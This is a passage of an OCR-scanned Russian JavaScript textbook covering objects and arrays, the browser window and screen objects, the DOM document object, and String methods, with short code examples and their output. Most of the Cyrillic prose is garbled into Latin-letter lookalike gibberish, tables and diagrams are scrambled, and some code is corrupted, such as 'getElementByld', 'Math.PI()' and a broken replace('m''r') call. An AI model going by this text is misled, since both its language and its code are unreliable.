KO 3/1eMEHTOB B 3TOM MaccuBe. B rnase 12 6yyT onncaHbl Nosie3Hble METOAbI MaCCUBOB.

OBbEKT

CBOWUCTBO: 3HAYEHMUE:
room1 . 420 3Aer B obbekTe COXpaHAeTCd CTOUMMOCTb
hd HOMEpPOB B OTEN1E. I'Ilemep OXBaTblBaeT 4ye-
room2 ° 460 Tbipe Hor\{tepa, N CTOUMOCTb Ka>ka0ro aBsigd-
hd eTcs CBONCTBOM ob6beKkTa:
room3 ¢
= costs = {
rooma . room1: 420,
room2: 460,
room3: 230,
roomé4: 620
bs

MACCHUB

3HAYEHMUE:

=
I
=]
[}
P
0

34ech Te Xe AaHHble 3anMcaHbl B MaccuBe.
BmMecTo MeH CBOMCTB NCNOJIb3YHOTCS UH-
AEeKCbl:

costs = [420, 460, 230, 620];

®YHKUWNN, METOObI, OB bEKTbI
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MACCVIBbl OB bEKTOB
N OBBbEKTblI B MACCUVBAX

JonyckaeTca KOMBUHNpPOBATb 06BEKTbI U MAcCMBbI A1 CO34a-
HMSA C/IOXHbIX CTPYKTYpP AaHHbIX. B Maccnee MoOXeT XpaHUTbCA

paa o6bekToB (NMpUYEemM MaccmB 3aNOMHUT NOPAAOK UX C/IeA0-

BaHMA). O6beKTbI Tak>XXe CNOCOBbHbI coaep>XaTb Maccuebl (B ka-
yecTBe 3HAYEHUNIN CBOUX CBOMNCTB).

Mopaaok cieAoBaHMA CBOMCTE B 06bekTe He BaXkeH. B Maccuee nocnegoBaTenbHOCTb 06bEKTOB
AVKTYeTCsa NopaaKoOM MHAEKCOB. Mbl nogpobHee pacCMOTPUM MPUMEPDI TaKUX CTPYKTYP AAaHHbIX

B rnase 12.

MACCUBbI B OBBbEKTE

CBoMcTBO N060ro 06bEKTA MOXET COAep-
XaTb MaccuB. BbiLue Noka3aHo, YTo KaxxAbln
3/IEMEHT U3 FOCTUHUYHOIO CYEeTa XpaHUTCA
B MacCuBe oTAe/bHO. [lnd gocTyna K nepeomn

CTOMMOCTM 3a room1 ncnosb3yercs Takom koA:

costs.room1i.items[0];

OBBbEKTbI B MACCUBE

3HauyeHneM N060ro asleMeHTa B Maccuse Mo-
XeT 6bITb 06BbEKT (3aNUCAHHBIN CUHTAKCUCOM
06beKTHOro InTepana). B cneaytouem npum-
Mepe Mbl 0bpalaemMcs K TeiepoHHOMY CHETY
3a TpeTuit No NopsaaKy HOMep, BOT Tak:

costs[2].phone;

CBOWCTBO: 3HAYEHMUE:

room1 items[420, 40, 10]

room2 : items[460, 20, 20]

room3 items[230, O, 0]

items[620, 150, 60]

room4

WHAEKC: 3HAYEHMUE:

0 {accom: 420, food: 40, phone: 10}

1 {accom: 460, food: 20, phone: 20}

2 {accom: 230, food: 0, phone: 0}

{accom: 620, food: 150, phone: 60}
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UTO TAKOE

BCTPOEHHDBIE OB bEKTDI

B 6bpay3epe ncnosb3yeTcs Habop BCTPOEHHbIX 0O BbEKTOB,
NpeAcTaBAALWMX TakMe CYLLHOCTU, Kak OKHO 1n Beb-
CTpaHunua, oTobpa)kaemas B HACTOALLMA MOMEHT B 3TOM
OKHe. BCTpoeHHble 06BEKTbI MOXHO CHNTATb MHCTPYMEH-
Tapuem A5 CO34aHNsA UHTEPAKTUBHbIX BEO-CTpaHuL,.

Kak npaBuo, cosgaBaemble BaMu 06BbEKTbI
ByAyT NPOrpaMmmMpoBaThCs A peLleHmns
MMEHHO Tex 3aZay, KoTopble CTOST Nepej
Bamu. OHM MOAENMPYIOT JaHHble, UCMOSIb-
3yeMble B BallleM clieHapuu, nnbo cogepxat
dyHKUMOHAN, HeOBXOAUMBIN A8 ero paboTsl.
B cBOtO 0YepeAb, BCTPOEHHbIe 06beKTbl CoAep-
XaT Takon GbyHKUMOHA, OT KOTOPOro 3aBUCUT
paboTa 04eHb MHOTUX CLieHapueB.

Kak Tonbko Beb6-cTpaHuua 3arpysunTcs B bpay-
3ep, Bbl CMOXETE UCMO/b30BaTb 3TN 06BbEKTHI
B CBOWIX CLLEHApUSIX.

@ OYHKLUWNN, METOObI, OBBEKTbI

BcTpoeHHble 06BbeKTbI MO3BOSIOT y3HaBaTb
camyt pasHoobpasHy nHbopmaumio, kak
TO: WMpUHa Bpay3epHOro okHa, COAepXNMoe
OCHOBHOTIO 3aros10BKa Ha CTpaHuLe, ANHa
TekcTa, BBEAEHHOTO NoJsib30BaTeieM B Nosie
dopmbl N T.4.

ZlocTyn K CBOMCTBAaM U METOA4aM BCTPOEH-
HblX 06BEKTOB BbIMOJIHAETCSA NPY MOMOLLM
TOYEYHOM HOTALMMN — TOYHO TakK Xe, Kak v npwu
[0CTyMne K CBOUCTBAM U MeToAaM 06bekTa,
KOTOPbI Bbl HAMUCA/IN CAMOCTOATEBHO.



Jna Hadana AaBanTe paszbepemcs, KakMMU a/ieMeHTaMMn
Mbl pacronaraem. lNpeanonoxum, YTo B BallleM HOBOM
ALLMKE C MIHCTPYMEHTaAMM eCTb TPU OTCeKa.

1

BPAY3EPHA4A
OBBbEKTHAA MOLEJIb.

OHa coaepXmnT 06beKTbI, NpU No-
MOLLM KOTOPbIX Ha 3KpaHe oTobpa-
XaeTca Tekyulee okHo bpay3sepa (nan
BKJ1aZKa OKHa), — OHW MOAENUPYIOT
KOHKPETHbIE 3/TEMEHTbI MpUIoXe-
HWS, HaNnpMMep, UCTOPUIO NPo-
CMOTpa CTpaHuL 1 3KpaH
yCTpOWNCTBa.

O YEM NMOWNAET PEYb OAJIEE

Mbl y>Ke n3y4ymnn, kak obpaLlatbcsa K CBOW-
cTBam v MeTozAaM 06beKkTa, a B AaHHOM pas-
Aefie U3yynm cneaytoLyme Bonpochbl:

® Kakme BCTpOEHHble 06beKTbI €CTb
B HalleM pacnopsa>XeHunun,;

® Kak pa60Ta+0T X OCHOBHble CBOMCTBA
n MeToAbl.

B ocTaBLIencsa yacTu rnasbl Mbl PaCCMOTPUM
psif IpUMepOoB, YTOObI Bbl HAYYWUINCH NPU-
MEHATb BCE 3T 3HAHUA Ha NpaKTUKe. 3aTeMm,
B C/IeflyIOLMX F1aBax KHUMU, Mbl U3y4YnMm
caMble pasHble NpakTuyeckme cuTyaLmu,

B KOTOPbIX MPUTOAATCSA HaBbIKM paboTbl CO
CBOWMCTBAMU U METOAAMMU.

OBBbEKTHAA
MOLOEJIb JOKYMEHTA.

B Hel ncnonbayoTca 06bekThl,
npv MOMOLLM KOTOPbIX CO3JaeTcs
npescTaB/ieHne TekyLen CTpaHm-

ubl. O6BbEKTHAA MoZenb JOKYMEHTa
co34aeT 06bEKT AN KaXA0ro

HOBOIO 3/1IEMEHTA Ha CTpaHuLe

N AN KaX40ro TeKCTOBOro

dbparmerTa.

3

FMOBAJIbHBIE
OBBEKTDbI
JAVASCRIPT.

OHu cnyxaT A4na npeAcTaBaeHns Tex
06beKkTOB, MOAENN KOTOPbIX TPeby-
eTcs co3faTtb B A3blke. Hanpumep,
CyLlecTByeT 06bekT, cneymasibHO
npegHasHavyeHHbIn gna pabo-
Tbl CO 3HA4YEHUAMM 4aTbl
N BpeMeHW.

2

YTO TAKOE OBbEKTHAA MOOEJ1b

Kak Bbl y>Xe 3HaeTe, 06beKT MOXET UCMOJIb-
30BaTbhCA A4 CO34aHNA MOAEN TN TOTO UK
WHOTO AB/1IEHNA peasibHOro Mmpa Ha oCcHoBe
MMerLwnXxca gaHHbIX.

O6bekTHas Mogesib — 3TO rpynna 06bekTos,
KaX /bl U3 KOTOPbIX MpeAcTaBAseT OA4HY M3
MoZe el B3aMMOCBSA3aHHbIX BELLEN, CyLLe-
CTBYIOLLMX B OKpY>XatoLlem mupe. BmecTe Bce
3TV ManeHbkne MoZesiv 06pasyoT MoAe b
6onee KpynHOM CUCTEMBI.

/lBe cTpaHuLbl Ha3az Mbl OTMeYanu, 4To
MaccuB cnocobeH coAepXaTb MHOXECTBO
0b6beKTOB, @ CBOMCTBO 06beKkTa — NpeAcTaBs-
naTb cobont maccue. Kpome TOro, B ka4ecTse
CBOMCTBa 06bEKTa MOXET BbICTYNaTb 4pYrow
06bekT. EC/iv 0ANH 06bEKT BIOXEH B APYrow,
TO TaKOW BIOXEHHbIN 06BEKT HAa3bIBAaeTCA 40~
YEePHUM, NN 0B BEKTOM-NIOTOMKOM.
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TPW I'PYTIINbl BCTPOEHHDBIX

OBBbEKTOB

NCMNOJIb3BOBAHUE
BCTPOEHHbIX OBBbEKTOB

CyLuecTBYeT TpW Fpynmnbl BCTPOEHHbIX
06DBEKTOB, C KaXA0M1 U3 HAX MPUMeHSAeTCs
CBOM Habop MHCTPYMEHTOB, MOMOTaOLLUX
nucaTb CLeHapuu Ans Be6-cTpaHuL,.

FnaBa 5 NocBsiLLeHa N3y4YeHno 06BEKTHOM
MOZE/IN AOKYMEHTA, MOCKO/IbKY OHa HY>XHa
ANs obpalleHns K cCTpaHuLe u 06HOBeHMS ee
KOHTEHTa.

C AByMs ApyrumMu Habopamu 06bEKTOB Mbl
NMO3HaKOMMMCS B 3TOU rN1aBe, a B OCTaBLUeNCs
YacTU KHUMU HAayuMMcs C HUMU paboTaThb.

JlaHHaa KHMra pacckasblBaeT, B YaCTHOCTH,

0 TOM, KakK N0/Ib30BaTbCA BCTPOEHHbIMWN 06bEK-
Tamu v MHHOPMALINIO KaKOro TUMNa MOXHO Mo-
NIYYNTb OT KaXA0r0 U3 HUX. KpoMe Toro, B HEW
6yAyT pacCMOTPEHbI MPUMEPbI UCMOb30BaAHNUS
Hanbonee nonynapHoro GyHKUMOHaNa BCexX
3TUX 0OBEKTOB.

O6BbEM KHUMM He MO3BONAET NOAPOBGHO onucaThb
BCe Tpu moaenn. Ansa 6onbLien nHdopmaumnm
Bbl MOXETE NMOCETUTb PECYPChI
developer.mozilla.org/ru/docs/Web/
JavaScript n developer.mozilla.org/ru/docs/
DOM/DOM_Reference.

@ ®YHKUWNN, METOObI, OB bEKTbI

BPAY3EPHAS{
OBbEKTHAA MOAEJIb

BpaysepHasi 06beKkTHas MoAe b co3gaeT
npeacTaB/ieHMe BKAAAKN UK OKHa bpaysepa.

Ha BepLUMHE 3TON MoAe v HAXOAUTCS 06BEKT
window, NpeACTaBASAOLLMIA TEKYLLEE OKHO WU
BK/1laaKy 6pay3epa. Ero a/1eMeHTbI-MOTOMKM
npeacTaBAsaoT Apyrue geTanv 6paysepa.

TEKYLWEE OKHO Uiun

BK/NIAQKA BPAY3EPA
e,
CTPAHNLEL B MCTO-
S e G
LT
iiecEHAUNAOTS

NMPUMEPDI

MeTog print() o6bekTa window BbiBO-
AWUT Ha 5KpaH ANafioroBoe OKHO nevyaTu
B 6paysepe:

window.print();

CBowcTBO width 06beKkTa screen ykasblBaeT
LUMPUHY 3KpaHa YCTPOWCTBA B MMKCeax:
window.screen.width;

Mbi noroBopum 06 06bekTe window Ha c. 130,
a Takxe 06CcyanMM HEKOTOpble CBOMCTBA
06bEKTOB screen U history.



OBBbEKTHAA MOAEJIb
AOKYMEHTA

Ob6bekTHasa mogenb gokymeHTa (DOM) cozaa-
eT MoZe b TekyLen Beb-cTpaHuLbl.

Ha BepLunHe moaenu HaxoanTca 06beKT
document, NnpeACTaBASIOLWNIA CTPaAHULY B Lie-
nom. NMoTomkm obbekTa document NnpeacTaBs-
10T APYyrue 3/IeMeHTbl CTpaHULbl.

document

<html>

<head>

<title>

NMPUMEPDI

MeTop getElementByld() o6bekTa document no-

Jly4yaeT 3/1IeMEeHT No 3HaYeHUio ero atpubyTa id:

document.getElementByld(‘one');

CBowcTBo lastModified 06bekTa document co-
obuwiaeT gaTty nocaegHero obHoBAEHUSA CTpa-
HULbI:

document.lastModified;

Mbl norosopum 06 o6bekTe document Ha c. 132.
FnaBa 5 nocesuleHa yrny6ieHHOMY U3yyeHuto
3TOro o6beKkTa.

FMOBAJIbHbIE OB BbEKTDI
JAVASCRIPT

nobanbHble 06bEKTHI JavaScript He o6pasytoT
eaunHon mogenun. OHM NpeacTaBaaloT cobon
COBOKYMHOCTb OTAE/IbHbIX 06EKTOB, KOTOPbIE
OTHOCSATCS K pa3/IndHbIM YaCTSAM A3bIKa.

MMeHa rnobanbHbix 06bEKTOB 06bIYHO Ha-
YMHAKTCA C 3arnaBHoON 6ykBbl — HaNpumep,
String n Date.

061bekThbl, NpegcTaBasaowme 6asosbie
TUNbI aHHbIX

ANa PABOTbI CO CTPO-
STRING KOBbIMAU 3HAYEHUAMU
BER Ana PABOTbI C YACNTOBbIMU
3HAYEHUSAMU
ANa PABOTbI C IOTMYECKUMU
BOOLEAN 3HAYEHUSAMU

O61beKTbl, TOMOralLLue onepmpoBaTh ABe-
HUSIMM peasibHOro Mupa

OIS NPEACTABNEHNS AAT
DATE U PABOTbI C HUMU

O PABOTbI C YACTAMU
MATH U PACYETOB
REGEX [J151 CONOCTABNEHMS TEKCTO-

BbIX CTPOK C LABJIOHAMU

NMPUMEPDI

MeToz toUpperCase() o6bekTa String genaeT
BCe BYKBbI B C/leAyloLLeil MepeMeHHOM Npo-
MUCHbIMU:

hotel.toUpperCase();

CBoucTBo PI 06bekTa Math Bo3BpaLyaeT Ync-
nom

Math.PI();

Mo3aHee B 3TOM raBe Mbl MOroBopmm 06
obbekTax String, Number, Date v Math.
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BPAY3EPHAA OBBbEKTHAHA
MOLOEJIb: OB bEKT WINDOW

Ob6bekT window npeAcTaBAsSeT OKHO
NNn BKNaaky bpaysepa, oTKpbITble

B HacToALWMM MOMeHT. OH pacnona-
raeTcs Ha BepLUnHe bpaysepHom
00BbEKTHOM MOAEN IOKYMEHTA U CO-
AepXnT B cebe apyrme obbekTbl, C KO-

B cneaytouien Tabamn-
ue caenaHa nogbopka
CBOWCTB Y METOZ0B
ob6bekTa window. Kpome
TOro, Bbl HAMAETE B HEW
HEKOTOpble CBOMCTBA
06BbEeKTOB screen u history
(aBNsOLWMXCS NOTOMKA-
MM 06bekTa window).

TOpbIMU CBSA3aHa paboTa B bpay3epe.

CBOWCTBO

OMUCAHUE

window.innerHeight

BbicoTa okHa (3a UCKMOYEHNEM OKAHTOBKM Bpay3epa Uaun noab3o-
BaTeNbCKoro nHtepdeinca) (B nukcenax)

window.innerWidth

LnpurHa okHa (3a MCK/IOYeHEM OKaHTOBKM Bpay3sepa uUam nosib-
30BaTeNbCckoro nHtepdenca) (B nukcenax)

window.pageXOffset

PaccTosiHMe, Ha KOTOPOEe JJOKYMEHT Bbl/1 MPOKPYYeH MO ropM30oHTa-
nn (B Nnukcenax)

window.pageYOffset

PaccTosiHMe, Ha KOTOPOE JOKYMEHT Bblsl NPOKPYYeH Mo BEpTUKaAn
(B nukcenax)

window.screenX

KoopaunHaTa ykasaTens no ocu X, Haya/lom KOOPAUHAT CAYXUT
BEPXHWIA NEBBIV yron akpaHa (B nukcenax)

window.screenY

KoopaunHaTta ykasatens no ocu Y, Hauasom KOOpAUHAT CAYXUT
BEPXHWUI N1eBbIN yron akpaHa (B nukcenax)

window.location

Texkywmin URL-agpec ob6bekTa window (Mam oKasibHbIA Ny Tb
K danny)

window.document

Ccbifika Ha 06bekT document, MC['IOI'Ib3yeMbIl7I Ana npeactas/ieHNs
CTpaHWLUbl, KOTOpasa B AAHHbBIA MOMEHT COAEepPXNTCA B OKHE

window.history

Ccbifika Ha 06beKT history OKHa nan BKnaaku bpaysepa, KoTopbli
COAEpXUT MHDOPMALMIO O CTPaHMLAX, MPOCMOTPEHHbIX B JAHHOM
OKHE UK BKNagke

window.screen

Ccbinka Ha 06bekT screen

window.screen.width

ObpalyeHne K 06bekTy screen A1 HAXOXAEHMS €ro CBONCTBA width
(wupwvnHa) (B nmukcenax)

window.screen.height

METO

ObpalyeHne K 00beKTY screen A1 HAXOXAEHUSA ero cBoncTBa height
(BbicoTa) (B Nukcenax)

OMNUCAHUE

window.alert()

Co3/faHne AnanoroBoro okHa ¢ COO6LLI,eHVIeM (nonb3oBaTtenb Aon-
XXeH HaXaTb Ha KHomKy «OKy, 4T06bI 3aKpbiTb 3TO OKHO)

window.open()

OTKpbITME HOBOrO OkHa bpay3epa ¢ URL-agpecom, ykasaHHbIM

B KayecTBe NapameTpa. Ecnv B bpaysepe ycTaHOBAEHa Nporpam-
Ma, 6/10KMpyloLas BCNbIBAOLLME OKHA, TO 3TOT METOA MOXET He
cpaboTaTh

window.print()

CoobuieHne bpaysepy 0 TOM, YTO MNO/Ib30BaTE b XOUYET BbIBECTM HA
neyaTb COAEPXMMOE TeKyLLeN CTpaHuLbl (AeNCTBYET aHaNorNYHO
KOMaHJe neyaTu B NoJib30BaTebCkoM UHTepdence bpaysepa)
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MCMNOJIb3OBAHME BPAY3EPHOM
OBBbEKTHOWM MOOENMN

34echb AaHHble 0 bpay3epe co-
bupatoTca oT obbekTa window
1 ero MoTOMKOB, COXpaHATCS
B MepeMeHHOoM msg 1 oTo6pa-
XalTca Ha cTpaHuue. One-
pauus += AOMMCbIBAET HOBbIE
JlaHHbIE B KOHLIE NepeMeHHOM
msg.

1. [lBa cBocTBa 0bbekTa
window, innerWidth u innerHeight,
yKa3blBalOT LUMPUHY U BbICOTY
Opay3epHOro okHa.

JAVASCRIPT

2. O6beKkTbI-MOTOMKMN COXpa-
HATCA Kak CBOMCTBA UX PO-
ANTENbCKOro 06bekTa, NoToMy
ANA A0CTyna K HUM UCMOb3Y-
eTCa ToYeyHas HoTauma — Kak
ec/iv 6bl Mbl UICMONB30BANN

ee Ansa obpalieHuns K tobo-
My APYroMy CBOMCTBY 3TOr0O
obbekTa.

Jna gocTyna Kk CBOWCTBY f0-
QQDHer006beKTaCTaBMTC9
€lle 04Ha TO4YKa mexAay ero
MMEHEM N UMEHEM CBOVICTBa,
Hanpumep: window.history.length.

@__ var msg = '<h2>0KkHo 6pay3epa</h2><p>wupuHa: ' + window.innerWidth + '</p>'
| msg +='<p=>BbicoTa: '+ window.innerHeight + '</p>'

[ msg +='<h2>ucropus</h2><p>3anementos: ' + window.history.length + '</p>'

@_ msg +='<h2>3kpaH</h2><p>wupuHa: ' + window.screen.width + '</p>'

| el.innerHTML = msg

| msg +='<p>BbicoTa: '+ window.screen.height + '</p>'

@__ var el = document.getElementById(‘info')

@ alert('Tekywas crannua: '+ window.location)

OKHO 6pay3epa
wupwvHa: 1920

BbicOTa: 916

JavaScript Alert

crparnua: hitp://javascriptbook.com/code/c03/

Texywas
window-object.html

ncTopuis

anemeHTOB:1

3KpaH
wnpuHa: 1920

BbicoTa: 1080

3. Bbiagenaercs aIeMeHT, Yen
aTpunbyTid UMeeT 3HaueHune
info, U B JOKYMEHT 3anucboiBa-
eTca coobuieHune, cbopmupo-
BaHHOE K 3TOMY MOMEHTY.

Ha c. 234 pacckasaHo 06 oco-
H6eHHOCTAX paboTbl CO CBOMN-
CTBOM innerHTML, MOCKOJIbKY
€CJ/IM UM MOJIb30BaTbCs Hempa-
BUJIbHO, MOXET BO3HUKHY Tb
yrpo3sa /15 6e30macHoCTU.

c03/js/window-object.js

4. MeTog alert() obbekTa
window ncnonbsyeTca 414
CO3/aHWs ANANOroBOro OKHa,
0TO6PaxkaeMoro B BEpXHen
yacTu cTpaHuubl. OHO Ha3bl-
BaeTCs OKHOM C npejgynpe-
XKAEeHUeM. XoTa 3TOT MeToj
OTHOCUTCA K 06beKTY window,
WHOTAa OH NpUMeHsieTCs

n cam no cebe (kak 3gech).
Jleno B TOM, 4TO MO ymon4a-
HUIO, EC/IN HE YKA3aHOo MHOe,
MeTOo/bl AENCTBYOT MUMEHHO
Ha 06bekT window. MicTopuye-
CKu alert() BbIBOAW/ Ha 3KpaH
WMEHHO nNpegynpexaatoLymne
onoBelleHNsa. B HacToALLee
BPeMS MeXaHW3Mbl 06paTHON
CBSI3M C NO/Ib30BaTE/IEM 3Ha-
YNTEIbHO YCOBEPLLUEHCTBO-
Ba/UChb.

OYHKLUWNN, METOObI, OBBEKTbI @



OBbEKTHAA MOLEJIb
HOKYMEHTA: DOCUMENT

BepxHtO NO3MLMI0 B 0O bEKTHON MOAENM AOKYMEHTA
(DOM) 3aHUMaeT 0bbekT document. OH MpeAcTaBASeT Ty
CTpaHuLly, KOTopas B HAaCTOALLMIA MOMEHT 3arpyeHa

B OKHO 1AM BKAaaKy bpaysepa. C noToMkamm obbekTa
document Mbl MO3HaKOMWMCS B rnase 5.

Hue onncaHbl HekoTopble
cBoncTBa obbekTa document,
cooblatLine nHbopmaymo
0 TeKyLLen cTpaHumue.

CBONCTBO

Kak byfeT pacckasaHo B rna-
Be 5, DOM Takxe co3gaeT
Nno oAHOMY 0OBEKTY ANA KaX-
AO0r0 3/1leMeHTa CTpaHuubl.

OMUCAHUE

document.title

3aronoBok TeKyuiero JoOKkymeHTa

document.lastModified

JlaTa nocnegHero UsMeHeHusa AOKYMeHTa

document.URL

Ctpoka c URL-agpecom TekyLLero JokyMmeHTa

document.domain

Ob6bekTHas mMoaenb AOKYMEH-
Tawurpaet onpefensioLyo
pO/b NPU AOCTYMNE K KOHTEHTY
CTpaHuLUbl U BHECEHUU U3Me-
HEHWN B HEero

METOL

JloMeH TeKyLLero 4okyMmeHTa

Hu>e nepeuyncneHbl HEKOTO-
pble MeTOoAbl, NPpUMEHAEMblE
ans OBHOBNEHUSA KOHTEHTA
CTpaHULbl

OMNMUCAHUE

document.write()

3anucbiBaeT TEKCT B 4OKYMeEHT (06 orpaHnyeHmnsx, cBs3aH-
HbIX C 3TUM METOZAO0M, pacckasaHo Ha c. 232)

document.getElementById()

EC/M Ha CTpaHuLe eCTb 3/IEMEHT CO 3HaYeHNEM NAeHTUdU-
KaTopa, KOTOpOe COBMNajaeT C yKa3aHHbIM B JaHHOM METOJE,
TO OH BO3BpalLaeT 3TOT 3/1eMeHT (NoapobHOE ONMCaHne CMm.
Ha c.207T)

document.querySelectorAll()

Bo3BpallaeT BCe 3/1eMEHTbI, UMetoLLIME COOTBETCTBYO-
wmm CSS-cenekTop, yKasbiBaeMbll B Ka4ecTBe NapameTpa
(c™m. c. 208)

document.createElement()

Co3zaeT HOBbI 31eMeHT (CM. ¢. 228)

document.createTextNode()

Co3/4aeT HOBbIN TEKCTOBLIN y3en (cMm. c. 228)

@ DOYHKUWNWN, METOAbl, OBBEKTbI



B ;AHHOM NpUMepe Mbl Mo-
nyyaemM MHdoOpMaLmio 0 cTpa-
HWLeE, a 3aTeM A06aBAAEM 3TU
CBEAEHUNSA B HUXHUIA KOJIOH-
TUTYA.

1. iHdopmaums o cTpaHu-

e cobupaeTcs U3 CBOMCTB
ob6bekTa document.

JAVASCRIPT

var msg = '<p><b>3aronosok ctpaHuubl: </b>" + document.title + '<br />';

MoapobHOCTH XpaHATCs

B MEPEMEHHOW msg BMeCTe

c HTML-paameTkon, npumMeHs-
emMoW ANs oTobpaxkeHnsa aTon
MHbOpMaLMK. YKe 3Hakomas
Ham onepauus += fobasnseTt
K UMeloLLeMyCs COAEePXKUMO-
My NepeMeHHO msg HoBOe
3HayeHue.

msg +='<b>agpec cTpaHuupi: </b>' + document.URL + '<br />';

msg +='<b>pata usmeHenus: </b>' + document.lastModified + '</p>";

var el = document.getElementById('footer');
el.innerHTML = msg;

PE3YJIbTAT

3arofIoBOK CTPaHuLbi: PocTypusm

appec ctpaHuupbi: http://javascriptbook.com/code/c03/document-object.html

AaTa usmeHeHua: 02/24/2015 11:50:38

NCIOJIb3OBAHWE
OB bEKTA DOCUMENT

2. Bbile Mbl y>Ke HECKOIbKO
pas Habawaanmn, kKak MCNosb-
3yeTcs meTog getElementById()
obbekTa document. OH Bbige-
NSIeT Ha CTPaHWULLE /IEMEHT,
Nosb3ysiCb 3HAYEHNEM ero
naeHTndUKaTopa. IToT Me-
Toa bysaeT nogpobHee onucaH
Ha c. 201.

c03/js/document-object.js

Ha c. 234 pacckasaHo 06
0COBEHHOCTAX MPUMEHE-
HWS CBOMCTBA innerHTML,
MOCKOJ/IbKY, €CIN UM MOJTb-
30BaTbCs HEMPABWJ/IbHO, TO
MO>XeT BO3HUKHYTb yrpo3a
Ana 6e3onacHoOCTMU.

Ecnn 3arpysuTb aTy
CTpaHuLYy C I0OKaabHO-
ro KOMMblOTEPA, a He
c Beb-cepBepa, To ee
URL-agpec byaeT Ha-
YnHaTbcA c file:///,

a He c http://.

OYHKLUWNN, METOObI, OBBEKTbI @



[JIOBAJIbHBbIE OB bEKTDI:

STRING

Mpn paboTe CO CTPOKOBbIMM 3HAYEHUSIMM MOXKHO MOJb-
30BaTbCA CBOMCTBAMMU M MeTogaMmn obbekTa String. B crie-
AYOLEM NPUMeEpPE Mbl COXPaHSIEM B MepeMeHHon dpasy

«ZJoMm MUbIN AOM».

var saying = '[Jom munbiit gom *;

3TV CBOMCTBA U MeTOAbl Ya-
CTO NpUMeHstoTCS Anga pabo-
Tbl C TEKCTOM, COXPAaHEHHbIM
B MepeMeHHbIX Mn obbekTax.

Ha cneaytouien ctpaHuue
0bpaTnTe BHUMaHWE Ha Takue
AeTann: 3a UMeHeM nepe-
MeHHOoM (saying) CTOUT TouKa,
a3aTem MaeT paccmaTpu-
BaemMoe CBONCTBO UK MeToj
(TOYKa MOXET CTaBMTbCA

1N nocne uMeHn obbekTa, 3a
Helo 3anncbiBalOTCA CBOMCTBA
NN MeTOAbl 3TOro 06bekTa).

Ob6bekT String cumnTaeTca r/10-
6a/1bHbIM, TOCKONbKY pabo-
TaeT B tobon yacTu BaLlero
06beKTa, a TakXe MMeHyeTCa
06beKTOM-060/104KOM, TaK
Kak cnocobeH CnyxunTb
obepTkon ana nboro cTpo-
KOBOro 3HavyeHuns. CBoncTBa
obbekTa String MOXHO m1C-
Nnosb30BaThb C /0ObIM 3HaYe-
HUWeM, KOTopoe NpeacTaBa-
eT cobom CTpoKy.

CsowcTBo length noacum-
TbIBAET KOJINYECTBO KOAO0-
BbIX e4MHUL B cTpoke. Kak
npasunio, 04HOMY CUMBOJTY
COOTBETCTBYET 0ZHa KoAo0Bas
eauHunya (BNpoyem, HEKOTO-
pble PeAKO NCMOJIb3yeMble
CUMBOJIbI UMEIOT AJTINHY B ABe
eAVNHNLbI KOAa).

CBONCTBO

ONMNCAHME

length

OMNMNUCAHUE

B 60/1bLUINHCTBE C/lyYaeB BO3BPALLAET KO-
JINYeCTBO CUMBOOB B cTpoke (06 nCkto-
YeHUM CM. MPUMEYaHNe BHU3Y C/leBa)

OMNMUCAHUE

toUpperCase()

[MepeBOAWT BCE CUMBOJIbI B CTPOKE B BEPX-
HWUI perncTp

toLowerCase()

MepeBOAUT BCE CMMBOJIbI B CTPOKE B HUX-
HUM perncTp

charAt()

MpuHMMaeT B kayecTBe NapameTpa UH-
/leKC 1 BO3BpaLlaeT CUMBOJI, HaXOAALLMNN-
CS1 Ha YKa3aHHOM no3nunm

lastIndexOf()

BO3Ban.l,aeT MHAEKC NoC1eaHEero aKk3sem-
naapa cMmMmBoia Uan nocnenoBaTes/IbHOCTU
CMMBOJI0B, BCTPETUBLLUNXCS B CTPpOKeE

substring()

BosBpallaeTt CMMBO/IbI, HANAEHHbIE MeX-
Ay ABYMSA MHAEKCAMM, NPUYEM CUMBO

C NepBbIM MHAEKCOM BK/IHOYAETCH B TaKyto
NoACTPOKY, @ CUMBOJI C MOCAEAHUM UH-
[eKCOM — HeT

split()

Ha kaxZ0M aKk3eMnisape CMMBONa, yKa-
3aHHOr0 B 3TOM MeToJe, MPOUCXOANT
paspbiB CTPOKK. BCce MosyyeHHble Taknum
06pasom pparmMeHTbl CTPOKKM 0bpasytoT
Maccue

trim()

Ypanset npobesibHble CUMBOJIbI B HaYane
1N B KOHLEe CTPOKM

replace()

@ OYHKLUWNN, METOObI, OBBEKTbI

MoaobHo KoMaHze «HalTh 1 3aMeHNTbY,
[laHHbIN MeToZ 6epeT To 3HaYeHue, KOTo-
poe A0/1KHO BbITb HAMAEHO, M 3aMeHsAeT
ero apyrum (Mo yMOoI4aHMIO OH MPOAE bl-
BaeT 3Ty onepauymto No OTHOLLUEHUIO TNLLb
K NepBOMY HaageHHOMY Taknum obpasom
coBnafeHuno)



Ka>K,£I,bII2 CMMBOJ1 B CTPOKE aBTOMAaTNYECKM NMNOIy4aeT HO-
MED, Ha3blBAEMbIN vHAgekcom. VITHAeKCbl BCerga HaumHaroT-
CA C HyNn4d, a He C eANHWL bl (ToYHO Tak Ke, KaK npn Hymepa-
Unn a71eEMEHTOB B mMaccuBe).

O o m M WU N bl W o 0O M

000606006060 0000DOD®O®O®

NPUMEP PE3Y/NbTAT
saying.length; Lom Munb i pgom 14

NMPUMEP PE3YJIBTAT
saying.toUpperCase(); Bom mwunsii Apom '10M MUAJTBIA [IOM !
saying.toLowerCase(); Lom mMunsi pom 'ROM MUAbIA fOM '
saying.charAt(12); AomM munabsid pom o'
saying.indexOf('biit"); Lom Munbi pgom 4
saying.lastIndexOf('m'); Lom mwunbei powm 12
saying.substring(6,12); Aom mMmunwi pom 't pom'
saying.split(""); e (o0 ) 1) 1o [ ['Hom', 'Munsiit', 'gom', "]
saying.trim(); Aom mwuansit Aom ‘[lom munbIi fom'
saying.replace('m''r'); LDom MunAbid pom ‘Lor Munblit gom '
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PABOTA CO CTPOKAMWV

B flaHHOM NpuMmepe AeMOH-
CTpupyeTcs CBONCTBO length

M MHOXECTBO METO/0B 06bek-
Ta String, C KOTOPbIMU Mbl MO~
3HAaKOMUANCH Ha NpeAabIAYLLEN
cTpaHuue.

1. HauHem 3TOT Mpumep ¢ co-

XpaHeHunsa dpasbl "[om Munblit
gom " B mepeMeHHOM saying.

JAVASCRIPT

@ var saying ="[lom Munblit gom ';

2. B cnepaytolen cTpoke Mbl
y3HaéMm, CKOIbKO CUMBO/I0B
B 3TON dpase, 418 Yero nc-
nosb3yem CBOMCTBO length

061bekTa String 1 coxpaHsem

pes3ysnibTaT B NEPEMEHHON msg.

